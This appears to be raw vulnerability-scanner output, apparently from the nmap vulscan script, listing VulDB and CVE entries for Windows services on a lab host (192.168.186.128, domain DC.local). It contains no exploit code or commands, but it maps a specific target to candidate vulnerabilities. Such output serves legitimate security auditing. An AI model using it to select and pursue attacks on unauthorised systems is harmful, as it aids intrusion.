[136275] Microsoft Windows 10/10 1607/10 1703/10 1709/Server 2016 Hyper-V privilege escalation
[133210] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 DirectX information disclosure
[131650] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 Hyper-V privilege escalation
[131632] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DHCP Client memory corruption
[131631] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DHCP Client memory corruption
[131630] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DHCP Client memory corruption
[128722] Microsoft Windows 10 1803/Server 1803 DHCP Client memory corruption
[128717] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 Hyper-V privilege escalation
[127881] Microsoft Windows 10 1809/Server 2019 memory corruption
[127827] Microsoft Windows 10 1809/Server 2019 DirectX information disclosure
[127826] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 Win32k information disclosure
[126733] Microsoft Windows 10 1803/10 1809/Server 1803/Server 2019 DirectX privilege escalation
[125112] Microsoft Windows 10 1803/Server 1803 Subsystem for Linux privilege escalation
[123867] Microsoft Windows 10 1803/Server 1803 Hyper-V privilege escalation
[123866] Microsoft Windows 10 1803/Server 1803 Hyper-V privilege escalation
[122888] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 Windows Shell privilege escalation
[122826] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 PDF memory corruption
[119471] Microsoft Windows 10 1803/Server 1803 Win32k privilege escalation
[119466] Microsoft Windows 10 1709/Server 1709 Hyper-V privilege escalation
[119453] Microsoft Windows 10 1709/10 1803/Server 1709/Server 1803 WebDAV privilege escalation
[119450] Microsoft Windows 10 1703/10 1709/10 1803/Server 1709/Server 1803 Kernel information disclosure
[116020] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Active Directory 7PK Security Features
[114565] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Kernel information disclosure
[114534] Microsoft Windows 10/10 1511/10 1607/10 1703/10 1709 Scripting Host 7PK Security Features
[114522] Microsoft Windows 10 1607/10 1703/Server 2016 Desktop Bridge privilege escalation
[114520] Microsoft Windows 10/Server 1709/Server 2016 Desktop Bridge privilege escalation
[114517] Microsoft Windows 10/Server 1709/Server 2016 Desktop Bridge VFS privilege escalation
[113262] Microsoft Windows 10/Server 1709 Storage Services privilege escalation
[113261] Microsoft Windows 10/Server 1709 Security Feature 7PK Security Features
[113259] Microsoft Windows 10/Server 1709/Server 2016 NTFS privilege escalation
[113258] Microsoft Windows 10/Server 1709 Kernel information disclosure
[113253] Microsoft Windows 10/Server 1709/Server 2016 Kernel privilege escalation
[113251] Microsoft Windows 10/Server 1709 Kernel privilege escalation
[113250] Microsoft Windows 10/Server 1709/Server 2016 Kernel privilege escalation
[113240] Microsoft Windows 10/Server 1709/Server 2016 AppContainer privilege escalation
[113238] Microsoft Windows 10 1709/Server 1709 Named Pipe File System privilege escalation
[105049] Microsoft Windows 10 1703 Remote Desktop Protocol Data Processing Error
[105013] Microsoft Windows 10 1607/10 1703/Server 2016 Hyper-V privilege escalation
[99683] Microsoft Windows 10 1607/10 1703/Server 2012 R2/Server 2016 Active Directory 7PK Security Features
[82234] Microsoft Windows 10 HTTP.sys Data Processing Error
[15764] Microsoft IIS 2.0/3.0/4.0/5.0/5.1 HTTP 1.0 Request IP Address information disclosure
[597] Microsoft Windows NT 4.0/2000/XP/Server 2003 RPC over HTTP Reply denial of service
[176520] Microsoft Windows 10 20H2 up to Server 2004 DWM Core Library unknown vulnerability
[176515] Microsoft Windows 10 up to Server 2019 Hyper-V denial of service
[176507] Microsoft Windows 10 20H2 up to Server 2019 Cloud Files Mini Filter Driver unknown vulnerability
[176499] Microsoft Windows 10 20H2/10 21H1/10 2004/Server 20H2/Server 2004 Bind Filter Driver information disclosure
[176494] Microsoft Windows 10 20H2 up to Server 2004 Kernel information disclosure
[176491] Microsoft Windows 10 20H2 up to Server 2019 Kernel-Mode Driver unknown vulnerability
[176490] Microsoft Windows 10 20H2 up to Server 2019 Kernel unknown vulnerability
[174866] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174864] Microsoft Windows 10 20H2 up to Server 2019 Container Manager Service unknown vulnerability
[174863] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174862] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Container Manager Service unknown vulnerability
[174861] Microsoft Windows 10 20H2 up to Server 2019 Graphics unknown vulnerability
[174847] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Desktop Bridge denial of service
[174845] Microsoft Windows 10 20H2 up to 10 2004 WalletService unknown vulnerability
[174842] Microsoft Windows 10 20H2 up to Server 2019 Projected File System FS Filter Driver information disclosure
[174841] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Media Foundation Core unknown vulnerability
[174835] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB Client Security Feature unknown vulnerability
[172949] Microsoft Windows 10 up to Server 2019 Media Photo Codec information disclosure
[172937] Microsoft Windows 10 20H2 up to Server 2019 Hyper-V denial of service
[172933] Microsoft Windows 10 20H2 up to Server 2019 Application Compatibility Cache denial of service
[172925] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP Driver denial of service
[172920] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 SMB information disclosure
[172877] Microsoft Windows 10 20H2 up to Server 2019 TCP/IP information disclosure
[171929] Netgear R6400/R6700 1.0.4.98 upnpd stack-based overflow
[171750] Rockwell Automation MicroLogix 1400 up to 21.6 ModBus Packet buffer overflow
[171012] Microsoft Windows 10 20H2 up to Server 2019 NAT denial of service
[171009] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V unknown vulnerability
[170979] Microsoft Windows 10 20H2 up to Server 2019 OpenType Font Parser code injection
[170907] Microsoft Windows 10 20H2 up to Server 2019 Application Virtualization code injection
[169524] Microsoft Windows 10 20H2 up to Server 2019 Microsoft.PowerShell.Utility Module protection mechanism
[169521] Microsoft Windows 10 20H2/10 2004/Server 20H2/Server 2004 Network File System denial of service
[169498] Microsoft Windows 10 up to Server 2019 unknown vulnerability
[169487] Microsoft Windows 10 up to Server 2019 Graphics unknown vulnerability
[169020] Belkin Linksys WRT160NL 1.0.04.002_US_20130619 mini_httpd apply.cgi do_upgrade_post os command injection
[168122] Backdoor.Win32.Whisper.b Service Port 113 C:\Windows\rundll32.exe stack-based overflow
[167754] SAP Commerce Cloud 1808/1811/1905/2005/2011 HTTP Response cross site scripting
[167700] Microsoft Windows 10 up to Server 2019 RDP authorization
[167636] Microsoft Windows 10 20H2 up to Server 2004 Hyper-V denial of service
[167587] Delta Industrial Automation CNCSoft ScreenEditor up to 1.01.26 Project File stack-based overflow
[167208] Backdoor.Win32.Infexor.b HTTP Service Port 13 kernel32.dll.exe buffer overflow
[160903] Microsoft Windows 10 2004 Shell Infrastructure privilege escalation
[160868] Microsoft Windows 10 2004/Server 2004 Projected Filesystem privilege escalation
[159496] Microsoft Windows up to 10 2004 Codecs Library memory corruption
[159113] Netgear R6700 1.0.4.84_10.0.58 httpd Service memory corruption
[157988] Microsoft Windows 10 2004/Server 2004 Subsystem for Linux privilege escalation
[157631] Nginx Controller up to 1.0.1/2.8.x/3.4.x Kubernetes Package Download HTTP weak encryption
[156422] Microsoft Windows 10 2004/Server 2004 SMBv3 denial of service
[156370] Microsoft Windows 10 2004/Server 2004 Connected User Experiences/Telemetry Service privilege escalation
[152075] Microsoft Windows up to Server 2019 Type 1 Font Parser privilege escalation
[149928] Microsoft Windows 10/Server 2016 DirectX privilege escalation
[149713] Cisco Video Surveillance 8000 Series IP Camera up to 1.0.6 Discovery Protocol privilege escalation
[121481] VelotiSmart WiFi B-380 Camera 1.0.0 uc-http Service directory traversal
[119280] XiongMai uc-httpd 1.0.0 memory corruption
[119066] charset up to 1.0.0 on Node.js DHTTP_MAX_HEADER_SIZE denial of service
[114089] Moxa OnCell G3100-HSPA up to 1.4 Build 16062919 HTTP Request Data Processing Error
[113243] Microsoft Windows 10/Server 2016 MultiPoint Management privilege escalation
[110531] Microsoft Windows 10/Server 2016 Device Guard 7PK Security Features
[110508] SAP HANA 1.0 HTTP/REST Endpoint Controller Log privilege escalation
[109358] Microsoft .NET Framework 1.0/1.1/2.0 weak authentication
[107753] Microsoft Windows 10/Server 2016 SMB Data Processing Error
[107734] Microsoft Windows 10/Server 2016 SMB privilege escalation
[103442] Microsoft Windows 10/Server 2016 HoloLens privilege escalation
[101028] Microsoft Windows 10/Server 2016 Hyper-V vSMB privilege escalation
[99667] Microsoft Windows 10/Server 2016 Active Directory Service Unresponsive privilege escalation
[98272] Microsoft Windows up to 10/Server 2016 Local Session privilege escalation
[98015] Microsoft Windows 10/Server 2016 Hyper-V privilege escalation
[98013] Microsoft Windows 10/Server 2016 Hyper-V vSMB privilege escalation
[98007] Microsoft Windows 10/Server 2016 Hyper-V Network Switch privilege escalation
[98006] Microsoft Windows 10/Server 2016 Hyper-V vSMB privilege escalation
[94436] Microsoft Windows 10 Graphics Data Processing Error
[92595] Microsoft Windows 10 Diagnostics Hub privilege escalation
[91560] Microsoft Windows 10 Object memory corruption
[90712] Microsoft Windows 10/10 1511 Universal Outlook information disclosure
[90375] Cisco NX-OS up to 5.2 on Nexus 1000V Discovery Protocol Packet denial of service
[89623] Netwin Surgeldap 1.0 d HTTP Request Path information disclosure
[89179] Jordan Windows Telnet 1.0/1.2 memory corruption
[88065] Netgear D3600/D6000 up to 1.0.0.49 Key Recovery cgi-bin/passrec.asp Password privilege escalation
[87952] Microsoft Windows 10/10 1511 Diagnostic Hub Data Processing Error
[87946] Microsoft Windows 10 Kernel win32k.sys privilege escalation
[81271] Microsoft Windows 10 PDF Library privilege escalation
[80223] Microsoft Windows 10/1511 RDP Service 7PK Security Features
[79515] Microsoft Windows 10 Kernel privilege escalation
[75760] Microsoft Windows Media Player 10/11/12 DataObject Code
[71152] clearhub Windows Live Hotmail PUSH mail 1.00.97 X.509 Certificate weak encryption
[66827] Microsoft Windows Media Player 11.0.5721.5230 memory corruption
[65884] FFmpeg 1.0/1.0.1 ff_ass_split_override_codes denial of service
[65578] Gummy Bear FTP Drive + HTTP Server up to 1.0.4 directory traversal
[58992] Microsoft .NET Framework 1.0 SP3/1.1 SP1/2.0 SP2/3.5.1/4 privilege escalation
[56598] Microsoft Windows Azure Sdk up to 1.2 privilege escalation
[53449] OpenSSL 1.0.0 EVP_PKEY_verify_recover privilege escalation
[53437] Http-solution Project Man up to 1.0 Login login.php sql injection
[53367] Microsoft .NET Framework 1.0 Default Configuration cross site scripting
[52283] Microsoft Windows Media Player 11.0.5721.5145 memory corruption
[49208] Joompolitan Com Livechat 1.0 HTTP Proxy xmlhttp.php privilege escalation
[48705] TorrentTrader Classic 1.09 account-recover.php privilege escalation
[47804] Microsoft Windows Media Player 11.0.5721.5260 Numeric Error
[42328] Microsoft Windows Live Onecare 1.1.3520.0 Malware Protection Engine mpengine.dll denial of service
[42327] Microsoft Windows Live Onecare 1.1.3520.0 Malware Protection Engine mpengine.dll denial of service
[39937] Microsoft Windows Media Player 11 Numeric Error
[38272] Microsoft Windows Media Player 11 wmplayer.exe denial of service
[34043] Http explorer Http Explorer Web Server 1.02 directory traversal
[33889] Microsoft Windows Media Player 10.00.00.4036 denial of service
[29414] Microsoft .NET Framework 1.0/1.1 memory corruption
[29005] Lighttpd 1.4.10 on Windows response.c information disclosure
[27224] Microsoft Windows up to 1999 denial of service
[24470] Sami HTTP Server 1.0.5 denial of service
[24469] Sami HTTP Server 1.0.5 directory traversal
[23215] Mbedthis AppWeb HTTP Server up to 1.0 information disclosure
[23214] Mbedthis AppWeb HTTP Server up to 1.0.1 denial of service
[23213] Mbedthis AppWeb HTTP Server up to 1.0.1 denial of service
[22436] Karjasoft Sami HTTP Server 1.0.4 HTTP GET Request memory corruption
[20553] Snowblind Web Server 1.0 HTTP Request memory corruption
[20551] Snowblind Web Server 1.0 HTTP Request directory traversal
[20550] Snowblind Web Server 1.0 HTTP Request directory traversal
[19773] Perl-HTTPd 1.0/1.0.1 directory traversal
[19671] Apache HTTP Server 1.3.20 on Windows /php/ privilege escalation
[19636] Gamecheats Advanced Web Server Professional 1.030000 HTTP Request advserver.exe denial of service
[19539] MyWebServer 1.0.0/1.0.1/1.0.2 HTTP Request memory corruption
[19465] IBM HTTP Server 1.0 on AS400 JSP Request Path information disclosure
[18990] Aprelium Technologies Abyss Web Server 1.0.3 HTTP Request Directory information disclosure
[18988] Ipswitch IMail up to 7.1 HTTP 1.0 Request memory corruption
[18949] Omnicron OmniHTTPD 2.09 HTTP 1.0 Request denial of service
[18946] Key Focus KF Web Server up to 1.0.5 HTTP Header memory corruption
[18945] Key Focus KF Web Server 1.0.2 HTTP Request File information disclosure
[18917] MyWebServer 1.0.1/1.0.2 HTTP GET Request memory corruption
[18449] Microsoft .NET Framework 1.0 orderdetails.aspx information disclosure
[18220] Bbshareware.com Phusion Webserver 1.0 HTTP Request memory corruption
[17990] Plesk Server Administrator 1.0 HTTP Request Encoding privilege escalation
[16982] McAfee ASaP Virusscan 1.0 HTTP Request directory traversal
[16651] A1 HTTP Server 1.0a GET Request directory traversal
[16650] A1 HTTP Server 1.0a HTTP Request memory corruption
[15969] Fastream FUR HTTP Server 1.0b GET Request denial of service
[15608] Apache HTTP Server up to 1.3.6.2 on Windows Directory information disclosure
[14683] Apple Mac OS X 1.0 Apache HTTP Server denial of service
[13812] Microsoft IIS 1.0/2.0/3.0 ASP Code privilege escalation
[13725] Microsoft IIS 1.0 cmd privilege escalation
[13018] Red Hat JBoss 1.0/6.0 Overlord Runtime Governance for JBossAS privilege escalation
[12711] Microsoft Windows Media Player 11.0.5721.5230 WAV File memory corruption
[11407] TP-LINK TL-WR740N 3.12.11 Build 120320 Rel.51047n HTTP Server denial of service
[10645] Http-body Project Perl 1.08 Temp File Name HTTP::Body::Multipart privilege escalation
[8509] D-Link DIR-300 1.05 HTTP Header tools_vct.xgi race condition
[6926] Microsoft .NET Framework 1.0 SP3/1.1 SP1/2.0 SP2/3.5.1/4 Object Permission Handller privilege escalation
[5729] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server privilege escalation
[5726] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server privilege escalation
[4843] nginx up to 1.0.13/1.1.16 HTTP Header Response Parser ngx_http_parse.c denial of service
[2724] Microsoft Windows up to 10 Media Player memory corruption
[2611] Apache HTTP Server up to 1.0.1 set_var Format String
[2054] Microsoft Windows up to 10 Media Player memory corruption

MITRE CVE - https://cve.mitre.org:
[CVE-2013-0002] Buffer overflow in the Windows Forms (aka WinForms) component in Microsoft .NET Framework 1.0 SP3, 1.1 SP1, 2.0 SP2, 3.0 SP2, 3.5, 3.5.1, 4, and 4.5 allows remote attackers to execute arbitrary code via (1) a crafted XAML browser application (XBAP) or (2) a crafted .NET Framework application that leverages improper counting of objects during a memory copy operation, aka "WinForms Buffer Overflow Vulnerability."
[CVE-2009-3126] Integer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted PNG image file, aka "GDI+ PNG Integer Overflow Vulnerability."
[CVE-2009-2504] Multiple integer overflows in unspecified APIs in GDI+ in Microsoft .NET Framework 1.1 SP1, .NET Framework 2.0 SP1 and SP2, Windows XP SP2 and SP3, Windows Server 2003 SP2, Vista Gold and SP1, Server 2008 Gold, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allow remote attackers to execute arbitrary code via (1) a crafted XAML browser application (XBAP), (2) a crafted ASP.NET application, or (3) a crafted .NET Framework application, aka "GDI+ .NET API Vulnerability."
[CVE-2009-2502] Buffer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted TIFF image file, aka "GDI+ TIFF Buffer Overflow Vulnerability."
[CVE-2009-2501] Heap-based buffer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted PNG image file, aka "GDI+ PNG Heap Overflow Vulnerability."
[CVE-2009-2500] Integer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted WMF image file, aka "GDI+ WMF Integer Overflow Vulnerability."
[CVE-2008-3014] Buffer overflow in gdiplus.dll in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, Office XP SP3, Office 2003 SP2 and SP3, 2007 Microsoft Office System Gold and SP1, Visio 2002 SP2, PowerPoint Viewer 2003, Works 8, Digital Image Suite 2006, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2, Report Viewer 2005 SP1 and 2008, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a malformed WMF image file that triggers improper memory allocation, aka "GDI+ WMF Buffer Overrun Vulnerability."
[CVE-2007-5348] Integer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Server 2003 SP1 and SP2, Vista Gold and SP1, Server 2008, Office XP SP3, Office 2003 SP2 and SP3, 2007 Microsoft Office System Gold and SP1, Visio 2002 SP2, PowerPoint Viewer 2003, Works 8, Digital Image Suite 2006, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2, Report Viewer 2005 SP1 and 2008, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via an image file with crafted gradient sizes in gradient fill input, which triggers a heap-based buffer overflow related to GdiPlus.dll and VGX.DLL, aka "GDI+ VML Buffer Overrun Vulnerability."
[CVE-2007-1748] Stack-based buffer overflow in the RPC interface in the Domain Name System (DNS) Server Service in Microsoft Windows 2000 Server SP 4, Server 2003 SP 1, and Server 2003 SP 2 allows remote attackers to execute arbitrary code via a long zone name containing character constants represented by escape sequences.
[CVE-2007-0084] ** DISPUTED **  Buffer overflow in the Windows NT Message Compiler (MC) 1.00.5239 on Microsoft Windows XP allows local users to gain privileges via a long MC-filename.  NOTE: this issue has been disputed by a reliable third party who states that the compiler is not a privileged program, so privilege boundaries cannot be crossed.
[CVE-2007-0043] The Just In Time (JIT) Compiler service in Microsoft .NET Framework 1.0, 1.1, and 2.0 for Windows 2000, XP, Server 2003, and Vista allows user-assisted remote attackers to execute arbitrary code via unspecified vectors involving an "unchecked buffer," probably a buffer overflow, aka ".NET JIT Compiler Vulnerability".
[CVE-2007-0041] The PE Loader service in Microsoft .NET Framework 1.0, 1.1, and 2.0 for Windows 2000, XP, Server 2003, and Vista allows remote attackers to execute arbitrary code via unspecified vectors involving an "unchecked buffer" and unvalidated message lengths, probably a buffer overflow.
[CVE-2006-3869] Heap-based buffer overflow in URLMON.DLL in Microsoft Internet Explorer 6 SP1 on Windows 2000 and XP SP1, with versions the MS06-042 patch before 20060824, allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long URL on a website that uses HTTP 1.1 compression.
[CVE-2006-1510] Buffer overflow in calloc.c in the Microsoft Windows XP SP2 ntdll.dll system library, when used by the ILDASM disassembler in the Microsoft .NET 1.0 and 1.1 SDK, might allow user-assisted attackers to execute arbitrary code via a crafted .dll file with a large static method.
[CVE-2005-2940] Unquoted Windows search path vulnerability in Microsoft Antispyware 1.0.509 (Beta 1) might allow local users to gain privileges via a malicious "program.exe" file in the C: folder, involving the programs (1) GIANTAntiSpywareMain.exe, (2) gcASNotice.exe, (3) gcasServ.exe, (4) gcasSWUpdater.exe, or (5) GIANTAntiSpywareUpdater.exe.  NOTE: it is not clear whether this overlaps CVE-2005-2935.
[CVE-2003-0719] Buffer overflow in the Private Communications Transport (PCT) protocol implementation in the Microsoft SSL library, as used in Microsoft Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, Server 2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code via PCT 1.0 handshake packets.
[CVE-2013-3454] Cisco TelePresence System Software 1.10.1 and earlier on 500, 13X0, 1X00, 30X0, and 3X00 devices, and 6.0.3 and earlier on TX 9X00 devices, has a default password for the pwrecovery account, which makes it easier for remote attackers to modify the configuration or perform arbitrary actions via HTTPS requests, aka Bug ID CSCui43128.
[CVE-2013-2558] Unspecified vulnerability in Microsoft Windows 8 allows remote attackers to cause a denial of service (reboot) or possibly have unknown other impact via a crafted TrueType Font (TTF) file, as demonstrated by the 120612-69701-01.dmp error report.
[CVE-2013-1450] Microsoft Internet Explorer 8 and 9, when the Proxy Settings configuration has the same Proxy address and Port values in the HTTP and Secure rows, does not properly reuse TCP sessions to the proxy server, which allows remote attackers to obtain sensitive information intended for a specific host via a crafted HTML document that triggers many HTTPS requests and then triggers an HTTP request to that host, as demonstrated by reading a Cookie header, aka MSRC 12096gd.
[CVE-2013-0899] Integer overflow in the padding implementation in the opus_packet_parse_impl function in src/opus_decoder.c in Opus before 1.0.2, as used in Google Chrome before 25.0.1364.97 on Windows and Linux and before 25.0.1364.99 on Mac OS X and other products, allows remote attackers to cause a denial of service (out-of-bounds read) via a long packet.
[CVE-2013-0230] Stack-based buffer overflow in the ExecuteSoapAction function in the SOAPAction handler in the HTTP service in MiniUPnP MiniUPnPd 1.0 allows remote attackers to execute arbitrary code via a long quoted method.
[CVE-2013-0001] The Windows Forms (aka WinForms) component in Microsoft .NET Framework 1.0 SP3, 1.1 SP1, 2.0 SP2, 3.0 SP2, 4, and 4.5 does not properly initialize memory arrays, which allows remote attackers to obtain sensitive information via (1) a crafted XAML browser application (XBAP) or (2) a crafted .NET Framework application that leverages a pointer to an unmanaged memory location, aka "System Drawing Information Disclosure Vulnerability."
[CVE-2012-3884] AirDroid 1.0.4 beta implements authentication through direct transmission of a password hash over HTTP, which makes it easier for remote attackers to obtain access by sniffing the local wireless network and then replaying the authentication data.
[CVE-2012-2089] Buffer overflow in ngx_http_mp4_module.c in the ngx_http_mp4_module module in nginx 1.0.7 through 1.0.14 and 1.1.3 through 1.1.18, when the mp4 directive is used, allows remote attackers to cause a denial of service (memory overwrite) or possibly execute arbitrary code via a crafted MP4 file.
[CVE-2012-1537] Heap-based buffer overflow in DirectPlay in DirectX 9.0 through 11.1 in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, Windows 7 Gold and SP1, Windows 8, and Windows Server 2012 allows remote attackers to execute arbitrary code via a crafted Office document, aka "DirectPlay Heap Overflow Vulnerability."
[CVE-2010-4394] Heap-based buffer overflow in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1.5 allows remote web servers to execute arbitrary code via a long Server header in a response to an HTTP request that occurs during parsing of a RealPix file.
[CVE-2010-3000] Multiple integer overflows in the ParseKnownType function in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1.4 on Windows allow remote attackers to execute arbitrary code via crafted (1) HX_FLV_META_AMF_TYPE_MIXEDARRAY or (2) HX_FLV_META_AMF_TYPE_ARRAY data in an FLV file.
[CVE-2010-2102] Buffer overflow in Webby Webserver 1.01 allows remote attackers to execute arbitrary code via a long HTTP GET request.
[CVE-2010-0718] Buffer overflow in Microsoft Windows Media Player 9 and 11.0.5721.5145 allows remote attackers to cause a denial of service (divide-by-zero error and application crash) via a crafted .mpg file.
[CVE-2010-0600] Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 does not properly restrict network access to an unspecified configuration file, which allows remote attackers to read passwords and unspecified other account details via a (1) XML RPC or (2) XML RPC over HTTPS session, aka Bug ID CSCtb83512.
[CVE-2010-0597] Unspecified vulnerability in Cisco Mediator Framework 1.5.1 before 1.5.1.build.14-eng, 2.2 before 2.2.1.dev.1, and 3.0 before 3.0.9.release.1 on the Cisco Network Building Mediator NBM-2400 and NBM-4800 and the Richards-Zeta Mediator 2500 allows remote authenticated users to read or modify the device configuration, and gain privileges or cause a denial of service (device reload), via a (1) XML RPC or (2) XML RPC over HTTPS request, aka Bug ID CSCtb83618.
[CVE-2010-0120] Heap-based buffer overflow in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1.4 on Windows allows remote attackers to execute arbitrary code via large size values in QCP audio content.
[CVE-2010-0116] Integer overflow in RealNetworks RealPlayer 11.0 through 11.1 and RealPlayer SP 1.0 through 1.1.4 on Windows might allow remote attackers to execute arbitrary code via a crafted QCP file that triggers a heap-based buffer overflow.
[CVE-2009-4413] The httpClientDiscardBody function in client.c in Polipo 0.9.8, 0.9.12, 1.0.4, and possibly other versions, allows remote attackers to cause a denial of service (crash) via a request with a large Content-Length value, which triggers an integer		N/A

				192.168.186.128		636		tcp		open		ldap		ssl		scanner		probed		100%		syn-ack		Microsoft Windows Active Directory LDAP				Domain: DC.local, Site: Default-First-Site-Name		N/A

				192.168.186.128		636		tcp		open		ldap		ssl		script		vulscan		100%		syn-ack		Microsoft Windows Active Directory LDAP				VulDB - https://vuldb.com:
[160873] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[160870] Microsoft Windows up to Server 2019 Active Directory Federation Service 2FA weak authentication
[160864] Microsoft Windows up to Server 2019 Active Directory integrated DNS privilege escalation
[160863] Microsoft Windows up to Server 2019 Active Directory integrated DNS memory corruption
[160862] Microsoft Windows up to Server 2019 Active Directory integrated DNS information disclosure
[155092] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[149893] Microsoft Windows up to Server 2019 Active Directory privilege escalation
[141620] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[139937] Microsoft Windows up to Server 2019 Azure Active Directory information disclosure
[131642] Microsoft Windows 7 SP1/Server 2008 R2 SP1/Server 2008 SP2 Active Directory privilege escalation
[126730] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[124217] Microsoft Windows Server 2012/Server 2016 Active Directory Federation Services /adfs/ls privilege escalation
[116020] Microsoft Windows 10 1607/10 1703/10 1709/Server 1709/Server 2016 Active Directory 7PK Security Features
[99683] Microsoft Windows 10 1607/10 1703/Server 2012 R2/Server 2016 Active Directory 7PK Security Features
[99667] Microsoft Windows 10/Server 2016 Active Directory Service Unresponsive privilege escalation
[98110] Microsoft Windows Active Directory Federation Services information disclosure
[88781] Microsoft Windows 2000 Active Directory Schema privilege escalation
